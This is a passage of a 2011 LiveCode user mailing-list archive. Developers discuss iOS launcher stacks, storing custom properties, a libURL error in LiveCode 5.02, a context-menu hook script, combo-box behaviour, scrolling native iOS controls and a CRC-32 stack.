Dec 2011 11:27:53 +1100 Subject: Launcher stacks on iOS etc. In-Reply-To: References: Message-ID: <170FF080-3965-4880-891E-E99599939B31@gmail.com> I do, because my apps have to to go to different stacks depending on the running environment. My launcher handles that and also initialises SQLite databases. Using a launcher also lets me store files that need to be copied to the device in one place, rather than in multiple places, given that the app can run in multiple environments. Gerry On 28/12/2011, at 4:42 AM, Todd Geist wrote: > But I am curious is it still a good idea > for things like iOS etc? I am curious to hear from folks who have stuff in > the app stores. Do you still use a launcher file? From m.schonewille at economy-x-talk.com Wed Dec 28 22:50:11 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Thu, 29 Dec 2011 04:50:11 +0100 Subject: Installer Maker 33% OFF Message-ID: Hi guys, I'd like to remind you that until 2 January you can purchase a license for Installer Maker Plugin with a 33% discount. Go to http://qery.us/za and use the Plimus button to make the purchase. Use the coupon code 33OFF. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! From bobs at twft.com Thu Dec 29 12:09:46 2011 From: bobs at twft.com (Bob Sneidar) Date: Thu, 29 Dec 2011 09:09:46 -0800 Subject: Sample stack demonstrating how to obtain all properties and custom properties of a stack? In-Reply-To: References: <60FE888DD6D14CAE89E337953730CB66@KeithPC> <671005279578.20111228101639@ahsoftware.net> <5B7D9D6D-4B0D-4102-9465-1C53E070F155@twft.com> Message-ID: <301205A5-87F9-4998-8F1B-B8165BFC1ADD@twft.com> Right. It seems like it would be easier to clone a stack, then reset everything in it, or just keep a copy of a virgin stack around. You would have to update it every time you made any changes to the original though. Bob On Dec 28, 2011, at 1:51 PM, stephen barncard wrote: > A while ago I experimented with saving complete descriptions of livecode > objects as text with some success. It was possible to get most, but not all > properties in repeat loops, however I found that the recursive code needed > to bury within groups of groups was just too time consuming to be worth it. > It was pointless to continue, the packaging I desired was much more > easily handled and portable with the Livecode containers. From ambassador at fourthworld.com Thu Dec 29 12:30:15 2011 From: ambassador at fourthworld.com (Richard Gaskin) Date: Thu, 29 Dec 2011 09:30:15 -0800 Subject: Sample stack demonstrating how to obtain all properties and custom properties of a stack? In-Reply-To: <301205A5-87F9-4998-8F1B-B8165BFC1ADD@twft.com> References: <301205A5-87F9-4998-8F1B-B8165BFC1ADD@twft.com> Message-ID: <4EFCA3A7.3000605@fourthworld.com> Bob Sneidar wrote: > It seems like it would be easier to clone a stack, then reset everything in it, or just keep a copy of a virgin stack around. You would have to update it every time you made any changes to the original though. That's been my experience as well. The stack file format is so compact and convenient that it's hard to beat for most project management tasks. Keith, what is the problem you were looking to solve? -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com LiveCode Journal blog: http://LiveCodejournal.com/blog.irv From keith at gulfbreezeortholab.com Thu Dec 29 15:32:24 2011 From: keith at gulfbreezeortholab.com (Keith (Gulf Breeze Ortho Lab)) Date: Thu, 29 Dec 2011 14:32:24 -0600 Subject: Sample stack demonstrating how to obtain all properties and customproperties of a stack? In-Reply-To: <4EFCA3A7.3000605@fourthworld.com> References: <301205A5-87F9-4998-8F1B-B8165BFC1ADD@twft.com> <4EFCA3A7.3000605@fourthworld.com> Message-ID: Thanks to everyone for your input... Richard: I have a pretty large stack with lots of graphics and controls... I could just save the stack to save the settings, but each stack would be quite large in size. Also, if I need to upgrade the software, all of the saved stacks would need to be updated accordingly. I have decided to create a separate stack to transfer the custom properties back and forth from, saving each of these stacks as a "data stack" so to speak. The data stack will only contain the custom settings and no actual controls... Seems to be working good. (I presume this is the way to go?) Thanks again, - Boo -----Original Message----- From: Richard Gaskin Sent: Thursday, December 29, 2011 11:30 AM To: use-livecode at lists.runrev.com Subject: Re: Sample stack demonstrating how to obtain all properties and customproperties of a stack? Bob Sneidar wrote: > It seems like it would be easier to clone a stack, then reset everything > in it, or just keep a copy of a virgin stack around. You would have to > update it every time you made any changes to the original though. That's been my experience as well. The stack file format is so compact and convenient that it's hard to beat for most project management tasks. Keith, what is the problem you were looking to solve? -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com LiveCode Journal blog: http://LiveCodejournal.com/blog.irv _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From gregory.lypny at videotron.ca Thu Dec 29 16:23:05 2011 From: gregory.lypny at videotron.ca (Gregory Lypny) Date: Thu, 29 Dec 2011 16:23:05 -0500 Subject: libURL Script Error After Upgrading to LiveCode 5.02 Message-ID: <6C18BF1E-8CFE-42A8-BD6F-C60E1D38AC03@videotron.ca> Hello everyone, The following two lines used to work fine in a startup script. libURLSetLogField the long id of fld ?Connection Log" of card "Connection" of stack ?Headquarters" libURLSetFTPListCommand ?NLST? Today I upgraded to version 5.02 of LiveCode and I get the following error message. Handler: can't find handler Object: Sign In Line: libURLSetLogField the long id of fld "Connection Log" of card "Connection" of stack "Headquarters? Hint: libURLSetLogField Any thoughts? Regards, Gregory From ambassador at fourthworld.com Thu Dec 29 17:12:20 2011 From: ambassador at fourthworld.com (Richard Gaskin) Date: Thu, 29 Dec 2011 14:12:20 -0800 Subject: Sample stack demonstrating how to obtain all properties and customproperties of a stack? In-Reply-To: References: Message-ID: <4EFCE5C4.2040200@fourthworld.com> Keith wrote: > Richard: I have a pretty large stack with lots of graphics and controls... I > could just save the stack to save the settings, but each stack would be > quite large in size. Also, if I need to upgrade the software, all of the > saved stacks would need to be updated accordingly. > > I have decided to create a separate stack to transfer the custom properties > back and forth from, saving each of these stacks as a "data stack" so to > speak. The data stack will only contain the custom settings and no actual > controls... Seems to be working good. (I presume this is the way to go?) Yes, that sounds like a good approach. I usually try to separate code, UI, and data as much as practical so that changes to one minimize impact on the others. With your separating those settings into another stack file it seems you'll have that done well. -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com LiveCode Journal blog: http://LiveCodejournal.com/blog.irv From bobs at twft.com Thu Dec 29 17:23:26 2011 From: bobs at twft.com (Bob Sneidar) Date: Thu, 29 Dec 2011 14:23:26 -0800 Subject: Another Gotcha Message-ID: Hi all. I have been using a trick John Craig showed me for appending to a contextual menu which has been very handy for me. The gotcha is that instead of building the menu on the fly using "put theMenuItem into line 1 of theMenu" (or something like that) I decided to simply create a custom property with the additional menu items I wanted, and then put that property before pMenu in the revHookBuildObjectEditorContextMenu handler in my front script. And of course, I used carriage returns. It seems that if pMenu contains carriage returns, it will disable contextual menu items after the first time you call dispatchContextMenuPick with the new menu options. Apparently Menus can only have line feeds. Seems someone should add "replace cr with lf in pMenu" somewhere in the dispatchContextMenuPick handler. Just an FYI. Bob From ambassador at fourthworld.com Thu Dec 29 19:04:54 2011 From: ambassador at fourthworld.com (Richard Gaskin) Date: Thu, 29 Dec 2011 16:04:54 -0800 Subject: Another Gotcha In-Reply-To: References: Message-ID: <4EFD0026.6080406@fourthworld.com> Bob Sneidar wrote: > I have been using a trick John Craig showed me for appending to a contextual menu which has been very handy for me. The gotcha is that instead of building the menu on the fly using "put theMenuItem into line 1 of theMenu" (or something like that) I decided to simply create a custom property with the additional menu items I wanted, and then put that property before pMenu in the revHookBuildObjectEditorContextMenu handler in my front script. "revHookBuildObjectEditorContextMenu"? Where is that documented? -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com LiveCode Journal blog: http://LiveCodejournal.com/blog.irv From bobs at twft.com Thu Dec 29 20:18:33 2011 From: bobs at twft.com (Bob Sneidar) Date: Thu, 29 Dec 2011 17:18:33 -0800 Subject: Another Gotcha In-Reply-To: <4EFD0026.6080406@fourthworld.com> References: <4EFD0026.6080406@fourthworld.com> Message-ID: <89191CC1-14B3-4336-B396-3B590BE95E39@twft.com> S'not. ;-) It's the handler that builds contextual menus. By trapping it and doing your own thing you can make your own contextual menus, or add to existing ones. I have this in a frontScript which puts a few extra things at the top of the contextual menu if a field is the target: on revHookBuildObjectEditorContextMenu pMenuTarget, pMenuName, @pMenu, tModifiedMenu put the topstack into theCurrentStack put the long name of this card of theCurrentStack into theCurrentCard put the customproperties of theCurrentStack into theCustomProps switch case word 1 of pMenuTarget is not "field" put "false" into valOn break case not theCustomProps is an array put "false" into valOn break case "PreValidations" is among the keys of theCustomProps put "true" into valOn break case "MidValidations" is among the keys of theCustomProps put "true" into valOn break case "PostValidations" is among the keys of theCustomProps put "true" into valOn break end switch if valOn then put "Data Type" into line 1 of theValMenu put tab & "Text" into line 2 of theValMenu put tab & "Number" into line 3 of theValMenu put tab & "Date" into line 4 of theValMenu put "-" into line 5 of theValMenu put "Pre-Validations" into line 6 of theValMenu put "Mid-Validations" into line 7 of theValMenu put "Post-Validations" & lf & "-" & lf into line 8 of theValMenu -- put the valMenu of me into theValMenu put theValMenu before pMenu put pMenu end if pass revHookBuildObjectEditorContextMenu end revHookBuildObjectEditorContextMenu function dispatchContextMenuPick pMenuName, pWhich if "Data Type" is in pWhich or "Validations" is in pWhich then send "initVal" && pWhich to the topstack in 0 seconds exit to top end if pass dispatchContextMenuPick end dispatchContextMenuPick On Dec 29, 2011, at 4:04 PM, Richard Gaskin wrote: > Bob Sneidar wrote: > >> I have been using a trick John Craig showed me for appending to a contextual menu which has been very handy for me. The gotcha is that instead of building the menu on the fly using "put theMenuItem into line 1 of theMenu" (or something like that) I decided to simply create a custom property with the additional menu items I wanted, and then put that property before pMenu in the revHookBuildObjectEditorContextMenu handler in my front script. > > "revHookBuildObjectEditorContextMenu"? > > Where is that documented? > > -- > Richard Gaskin > Fourth World > LiveCode training and consulting: http://www.fourthworld.com > Webzine for LiveCode developers: http://www.LiveCodeJournal.com > LiveCode Journal blog: http://LiveCodejournal.com/blog.irv > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From jacque at hyperactivesw.com Thu Dec 29 23:34:43 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Thu, 29 Dec 2011 22:34:43 -0600 Subject: Combo-box text arrows Message-ID: <4EFD3F63.7060100@hyperactivesw.com> In OS X at least, text arrows don't work in the field portion of a combo-box button. Should they? What's considered standard behavior for those? -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From pete at mollysrevenge.com Fri Dec 30 00:08:02 2011 From: pete at mollysrevenge.com (Pete) Date: Thu, 29 Dec 2011 21:08:02 -0800 Subject: Combo-box text arrows In-Reply-To: <4EFD3F63.7060100@hyperactivesw.com> References: <4EFD3F63.7060100@hyperactivesw.com> Message-ID: I noticed that too. Just looked at the Apple HUG document for OS X and it is silent on the matter. IT feels like the arrow keys should work to me since they do work in an option menu and and a combo menu is supposed to a combination of an option menu and a field. On a related topic, I've always had problems figuring out just how to type a new value into a combobox. Is there supposed to be a field at the top of all the options by default, do I have to leave an empty line in the choices, or what? Pete On Thu, Dec 29, 2011 at 8:34 PM, J. Landman Gay wrote: > In OS X at least, text arrows don't work in the field portion of a > combo-box button. Should they? What's considered standard behavior for > those? > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From jacque at hyperactivesw.com Fri Dec 30 00:53:00 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Thu, 29 Dec 2011 23:53:00 -0600 Subject: Combo-box text arrows In-Reply-To: References: <4EFD3F63.7060100@hyperactivesw.com> Message-ID: <4EFD51BC.1070101@hyperactivesw.com> On 12/29/11 11:08 PM, Pete wrote: > I noticed that too. Just looked at the Apple HUG document for OS X and it > is silent on the matter. IT feels like the arrow keys should work to me > since they do work in an option menu and and a combo menu is supposed to a > combination of an option menu and a field. It's originally a Windows control which is why I'm a little fuzzy on expected behavior. I'm hoping someone will save me from having to launch an emulator to find out. > On a related topic, I've always had problems figuring out just how to type > a new value into a combobox. Is there supposed to be a field at the top of > all the options by default, do I have to leave an empty line in the > choices, or what? The entry doesn't usually go into the menu at all. The field is like an "other" box. The user can either choose from a list of pre-set items, or type something else in the field. The menu provides a shortcut for common choices but the user isn't limited to those. That said, I've been known to take the label and add it to the menu in a couple of cases where the menu is a dynamic list of user-created entries. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From pete at mollysrevenge.com Fri Dec 30 01:43:54 2011 From: pete at mollysrevenge.com (Pete) Date: Thu, 29 Dec 2011 22:43:54 -0800 Subject: Combo-box text arrows In-Reply-To: <4EFD51BC.1070101@hyperactivesw.com> References: <4EFD3F63.7060100@hyperactivesw.com> <4EFD51BC.1070101@hyperactivesw.com> Message-ID: I guess I'm not clear on just where the user types in a new value - over the top of an existing choice that's loaded into the menu? Pete On Thu, Dec 29, 2011 at 9:53 PM, J. Landman Gay wrote: > The entry doesn't usually go into the menu at all. The field is like an > "other" box. The user can either choose from a list of pre-set items, or > type something else in the field. The menu provides a shortcut for common > choices but the user isn't limited to those. > > That said, I've been known to take the label and add it to the menu in a > couple of cases where the menu is a dynamic list of user-created entries. > -- Pete Molly's Revenge From chipp at altuit.com Fri Dec 30 03:53:02 2011 From: chipp at altuit.com (Chipp Walters) Date: Fri, 30 Dec 2011 02:53:02 -0600 Subject: OT: How *not* to run a marketing campaign In-Reply-To: References: Message-ID: <5D63F75B-B58C-4587-9947-F3A7A9E77487@altuit.com> Too good! Thanks for sharing... Turns out the idiot is now out a job. Chipp Walters CEO, Shafer Walters Group, Inc On Dec 27, 2011, at 5:24 PM, Mark Wieder wrote: > Quite the read: > > http://penny-arcade.com/resources/just-wow1.html > > -- > Mark Wieder > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From guglielmo at braguglia.ch Fri Dec 30 04:48:51 2011 From: guglielmo at braguglia.ch (gpb01) Date: Fri, 30 Dec 2011 01:48:51 -0800 (PST) Subject: libURL Script Error After Upgrading to LiveCode 5.02 In-Reply-To: <6C18BF1E-8CFE-42A8-BD6F-C60E1D38AC03@videotron.ca> References: <6C18BF1E-8CFE-42A8-BD6F-C60E1D38AC03@videotron.ca> Message-ID: <1325238531038-4245339.post@n4.nabble.com> Gregory Lypny wrote > > The following two lines used to work fine in a startup script. > > libURLSetLogField the long id of fld ?Connection Log" of card > "Connection" of stack ?Headquarters" > libURLSetFTPListCommand ?NLST? > > Today I upgraded to version 5.02 of LiveCode and I get the following error > message. > > Handler: can't find handler > Object: Sign In > Line: libURLSetLogField the long id of fld "Connection Log" of card > "Connection" of stack "Headquarters? > Hint: libURLSetLogField > > Any thoughts? > Yes, same behavior for me with different handlers ... ... there must be an error on Livecode 5.02 ... it seems to start your application before he has finished loading its own modules :( If you first open Livecode 5.02, wait until Livecode is completely started and then you start your application ... no problem and all work fine. Hope this help, Guglielmo -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/libURL-Script-Error-After-Upgrading-to-LiveCode-5-02-tp4243988p4245339.html Sent from the Revolution - User mailing list archive at Nabble.com. From andre at andregarzia.com Fri Dec 30 08:18:42 2011 From: andre at andregarzia.com (Andre Garzia) Date: Fri, 30 Dec 2011 11:18:42 -0200 Subject: OT: How *not* to run a marketing campaign In-Reply-To: <5D63F75B-B58C-4587-9947-F3A7A9E77487@altuit.com> References: <5D63F75B-B58C-4587-9947-F3A7A9E77487@altuit.com> Message-ID: irgh!!!! Folks, I am amazed how low people can get on the internet. On Fri, Dec 30, 2011 at 6:53 AM, Chipp Walters wrote: > Too good! Thanks for sharing... Turns out the idiot is now out a job. > > Chipp Walters > CEO, Shafer Walters Group, Inc > > On Dec 27, 2011, at 5:24 PM, Mark Wieder wrote: > > > Quite the read: > > > > http://penny-arcade.com/resources/just-wow1.html > > > > -- > > Mark Wieder > > > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- http://www.andregarzia.com -- All We Do Is Code. http://fon.nu -- minimalist url shortening service. From andre at andregarzia.com Fri Dec 30 08:21:20 2011 From: andre at andregarzia.com (Andre Garzia) Date: Fri, 30 Dec 2011 11:21:20 -0200 Subject: Anyone knows how to scroll native iOS controls alongside with groups? Message-ID: Folks, I have a form here that is a group. I use a native scroller to move the group and it works great but there are a couple of native fields in the form and they do not scroll alongside with the group. Anyone here has some points to scroll the controls? Should I try to compute some offset and set new rects? Cheers andre -- http://www.andregarzia.com -- All We Do Is Code. http://fon.nu -- minimalist url shortening service. From mcgrath3 at mac.com Fri Dec 30 09:46:47 2011 From: mcgrath3 at mac.com (Thomas McGrath III) Date: Fri, 30 Dec 2011 09:46:47 -0500 Subject: iOS pagingEnabled Message-ID: <8D1EC884-A405-4139-95F1-6540139F9777@mac.com> Has anyone been able to get pagingEnabled for a scrolling group to work in iOS. Any working examples? Not getting any results here. As it makes no difference at all. Thanks Tom -- Tom McGrath III http://lazyriver.on-rev.com 3mcgrath at comcast.net From mcgrath3 at mac.com Fri Dec 30 09:52:37 2011 From: mcgrath3 at mac.com (Thomas McGrath III) Date: Fri, 30 Dec 2011 09:52:37 -0500 Subject: Anyone knows how to scroll native iOS controls alongside with groups? In-Reply-To: References: Message-ID: Andre, That's what I do. I change the loc of the iOS control based on the LC controls during a scroll. But can be choppy if a lot of scrolling is going on. iphoneControlSet sScrollerId, "rect", tRect -- Tom McGrath III http://lazyriver.on-rev.com 3mcgrath at comcast.net On Dec 30, 2011, at 8:21 AM, Andre Garzia wrote: > Folks, > > I have a form here that is a group. I use a native scroller to move the > group and it works great but there are a couple of native fields in the > form and they do not scroll alongside with the group. > > Anyone here has some points to scroll the controls? Should I try to compute > some offset and set new rects? > > Cheers > andre > > -- > http://www.andregarzia.com -- All We Do Is Code. > http://fon.nu -- minimalist url shortening service. > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From andre at andregarzia.com Fri Dec 30 10:00:34 2011 From: andre at andregarzia.com (Andre Garzia) Date: Fri, 30 Dec 2011 13:00:34 -0200 Subject: Anyone knows how to scroll native iOS controls alongside with groups? In-Reply-To: References: Message-ID: Thomas, Thanks for the reply! Cheers andre On Fri, Dec 30, 2011 at 12:52 PM, Thomas McGrath III wrote: > Andre, > > That's what I do. I change the loc of the iOS control based on the LC > controls during a scroll. But can be choppy if a lot of scrolling is going > on. > > iphoneControlSet sScrollerId, "rect", tRect > > > > -- Tom McGrath III > http://lazyriver.on-rev.com > 3mcgrath at comcast.net > > On Dec 30, 2011, at 8:21 AM, Andre Garzia wrote: > > > Folks, > > > > I have a form here that is a group. I use a native scroller to move the > > group and it works great but there are a couple of native fields in the > > form and they do not scroll alongside with the group. > > > > Anyone here has some points to scroll the controls? Should I try to > compute > > some offset and set new rects? > > > > Cheers > > andre > > > > -- > > http://www.andregarzia.com -- All We Do Is Code. > > http://fon.nu -- minimalist url shortening service. > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- http://www.andregarzia.com -- All We Do Is Code. http://fon.nu -- minimalist url shortening service. From bobs at twft.com Fri Dec 30 11:20:52 2011 From: bobs at twft.com (Bob Sneidar) Date: Fri, 30 Dec 2011 08:20:52 -0800 Subject: Combo-box text arrows In-Reply-To: References: <4EFD3F63.7060100@hyperactivesw.com> <4EFD51BC.1070101@hyperactivesw.com> Message-ID: I find the combo box "wierd" too, like the Frankenstein of user interface controls. I don't use 'em. Bob On Dec 29, 2011, at 10:43 PM, Pete wrote: > I guess I'm not clear on just where the user types in a new value - over > the top of an existing choice that's loaded into the menu? > Pete > > On Thu, Dec 29, 2011 at 9:53 PM, J. Landman Gay wrote: > >> The entry doesn't usually go into the menu at all. The field is like an >> "other" box. The user can either choose from a list of pre-set items, or >> type something else in the field. The menu provides a shortcut for common >> choices but the user isn't limited to those. >> >> That said, I've been known to take the label and add it to the menu in a >> couple of cases where the menu is a dynamic list of user-created entries. >> > > > > -- > Pete > Molly's Revenge > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bobs at twft.com Fri Dec 30 11:23:11 2011 From: bobs at twft.com (Bob Sneidar) Date: Fri, 30 Dec 2011 08:23:11 -0800 Subject: OT: How *not* to run a marketing campaign In-Reply-To: References: <5D63F75B-B58C-4587-9947-F3A7A9E77487@altuit.com> Message-ID: Try reading a mouthy 12 year old tell you how much smarter he is than you, and how he can kick your ass in RL in a game chat buffer. LOL! Anonymity has created a generation of monsters! Bob On Dec 30, 2011, at 5:18 AM, Andre Garzia wrote: > irgh!!!! > > Folks, I am amazed how low people can get on the internet. > > On Fri, Dec 30, 2011 at 6:53 AM, Chipp Walters wrote: > >> Too good! Thanks for sharing... Turns out the idiot is now out a job. >> >> Chipp Walters >> CEO, Shafer Walters Group, Inc >> >> On Dec 27, 2011, at 5:24 PM, Mark Wieder wrote: >> >>> Quite the read: >>> >>> http://penny-arcade.com/resources/just-wow1.html >>> >>> -- >>> Mark Wieder >>> >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > > > > -- > http://www.andregarzia.com -- All We Do Is Code. > http://fon.nu -- minimalist url shortening service. > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From capellan2000 at gmail.com Fri Dec 30 11:54:22 2011 From: capellan2000 at gmail.com (Alejandro Tejada) Date: Fri, 30 Dec 2011 08:54:22 -0800 (PST) Subject: [ANN] CRC-32 LiveCode stack Message-ID: <1325264062194-4246201.post@n4.nabble.com> Hi All, Download the stack: CRC-32.rev http://andregarzia.on-rev.com/alejandro/stacks/CRC-32_LiveCode_Script.zip http://at.livecodejournal.com/stacks/CRC-32_LiveCode_Script.zip or type in your message box: go stack "http://andregarzia.on-rev.com/alejandro/stacks/CRC-32.rev" go stack "http://at.livecodejournal.com/stacks/CRC-32.rev" Please report any incompatibilities and/or errors. Notice that there are many ways to calculate crc-32: http://zorc.breitbandkatze.de/crc.html but I choose to calculate a crc-32 compatible with the internal crc-32 generated for LiveCode's own compress function using this javascript code as example: http://www.digsys.se/JavaScript/CRC.aspx Many Thanks to Andre and Richard for both storage spaces in their servers! :-) Have a nice weekend and a Happy New Year! Al This CRC-32 livecode script is based on CRC-32 javascript from webpage: http://www.digsys.se/JavaScript/CRC.aspx XHTML / JavaScript source code September 19, 2010 Copyright (c) 2003-2011 Scandinavian Digital Systems AB Internet: http://www.digsys.se Freeware: The source code and its methods and algorithms may be used as desired without restrictions. All bitWise Functions and fixes written by Shao Sean: http://www.shaosean.tk/ published in the LiveCode mail list: http://lists.runrev.com/pipermail/use-livecode//2005-November/071181.html http://lists.runrev.com/pipermail/use-livecode//2005-November/071188.html http://lists.runrev.com/pipermail/use-livecode//2005-December/071668.html http://lists.runrev.com/pipermail/use-livecode//2005-December/071764.html CRC-32 (as it is in ZMODEM) in table form Copyright (C) 1986 Gary S. Brown. You may use this program, or code or tables extracted from it, as desired without restriction. Modified by Anders Danielsson, February 5, 1989 and March 10, 2006. This is also known as FCS-32 (as it is in PPP), described in RFC-1662 by William Allen Simpson, see RFC-1662 for references. -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/ANN-CRC-32-LiveCode-stack-tp4246201p4246201.html Sent from the Revolution - User mailing list archive at Nabble.com. From capellan2000 at gmail.com Fri Dec 30 12:16:41 2011 From: capellan2000 at gmail.com (Alejandro Tejada) Date: Fri, 30 Dec 2011 09:16:41 -0800 (PST) Subject: OT: How *not* to run a marketing campaign In-Reply-To: References: Message-ID: <1325265401352-4246246.post@n4.nabble.com> I found really interesting that this exchange was taken so far... http://www.forbes.com/sites/danielnyegriffiths/2011/12/29/from-control-to-ko-paul-christoforo-interviewed/ Could this be just another distraction from the real news? Al -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/OT-How-not-to-run-a-marketing-campaign-tp4238512p4246246.html Sent from the Revolution - User mailing list archive at Nabble.com. From dixonja at hotmail.co.uk Fri Dec 30 12:19:48 2011 From: dixonja at hotmail.co.uk (John Dixon) Date: Fri, 30 Dec 2011 17:19:48 +0000 Subject: iOS pagingEnabled In-Reply-To: <8D1EC884-A405-4139-95F1-6540139F9777@mac.com> References: <8D1EC884-A405-4139-95F1-6540139F9777@mac.com> Message-ID: Yes Tom... sent a stack to your email address... > Has anyone been able to get pagingEnabled for a scrolling group to work in iOS. Any working examples? > Not getting any results here. As it makes no difference at all. > > Thanks > Tom From jacque at hyperactivesw.com Fri Dec 30 12:33:13 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Fri, 30 Dec 2011 11:33:13 -0600 Subject: Combo-box text arrows In-Reply-To: References: <4EFD3F63.7060100@hyperactivesw.com> <4EFD51BC.1070101@hyperactivesw.com> Message-ID: <4EFDF5D9.9010606@hyperactivesw.com> On 12/30/11 12:43 AM, Pete wrote: > I guess I'm not clear on just where the user types in a new value - over > the top of an existing choice that's loaded into the menu? Yes. In that respect it's like any other field. If the text isn't already selected, do that and type over it. Or delete it first and type in new text. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From huj56745 at gmail.com Fri Dec 30 13:08:51 2011 From: huj56745 at gmail.com (rh_galaxy) Date: Fri, 30 Dec 2011 10:08:51 -0800 (PST) Subject: Mac OS-X standalone from Windows machine In-Reply-To: <4420E785.2050108@fourthworld.com> References: <4420E785.2050108@fourthworld.com> Message-ID: <1325268531648-4246377.post@n4.nabble.com> Hi, I had the same problem. I wanted to build a valid release package (zip) for linux and mac from windows of this game I've made and could not find any tool to set the executable flag of a file within a zip from windows, so I made my own tool to do this. I searched quite allot and could not believe that a feature for setting this manually would not exist in any of the zip programs i tested (like 7zip and so on). The tool can be found in http://downloads.sourceforge.net/galaxyv2/galaxyv2_1.71_src.zip "build/windows/zip_exec.exe" if anyone want to use it (tool source included). It's a command line program so it works well in a batch script for example. This doesn't exactly solve the problem of having the flag set "when being transfered to the OS-X..." since the flag never existed on windows in the first place. Hope this utility can help someone. /Ronnie -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Mac-OS-X-standalone-from-Windows-machine-tp297391p4246377.html Sent from the Revolution - User mailing list archive at Nabble.com. From gregory.lypny at videotron.ca Fri Dec 30 13:29:08 2011 From: gregory.lypny at videotron.ca (Gregory Lypny) Date: Fri, 30 Dec 2011 13:29:08 -0500 Subject: libURL Script Error After Upgrading to LiveCode 5.02 In-Reply-To: References: Message-ID: <91BE1414-BE24-48B4-B6E8-EA68ED1B9175@videotron.ca> Hi Guglielmo, Thank you for your response. I will do what you say while revising my app, but does it mean that the standalone will not be affected? Gregory On Fri, Dec 30, 2011, at 1:00 PM, Guglielmo wrote: > Yes, same behavior for me with different handlers ... > ... there must be an error on Livecode 5.02 ... it seems to start your > application before he has finished loading its own modules :( > > If you first open Livecode 5.02, wait until Livecode is completely started > and then you start your application ... no problem and all work fine. > > Hope this help, > > Guglielmo From bobs at twft.com Fri Dec 30 13:47:00 2011 From: bobs at twft.com (Bob Sneidar) Date: Fri, 30 Dec 2011 10:47:00 -0800 Subject: libURL Script Error After Upgrading to LiveCode 5.02 In-Reply-To: <91BE1414-BE24-48B4-B6E8-EA68ED1B9175@videotron.ca> References: <91BE1414-BE24-48B4-B6E8-EA68ED1B9175@videotron.ca> Message-ID: Ooooh good point... What if this happens with standalones? Bob On Dec 30, 2011, at 10:29 AM, Gregory Lypny wrote: > Hi Guglielmo, > > Thank you for your response. I will do what you say while revising my app, but does it mean that the standalone will not be affected? > > Gregory > > > On Fri, Dec 30, 2011, at 1:00 PM, Guglielmo wrote: > >> Yes, same behavior for me with different handlers ... >> ... there must be an error on Livecode 5.02 ... it seems to start your >> application before he has finished loading its own modules :( >> >> If you first open Livecode 5.02, wait until Livecode is completely started >> and then you start your application ... no problem and all work fine. >> >> Hope this help, >> >> Guglielmo > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bobs at twft.com Fri Dec 30 13:54:06 2011 From: bobs 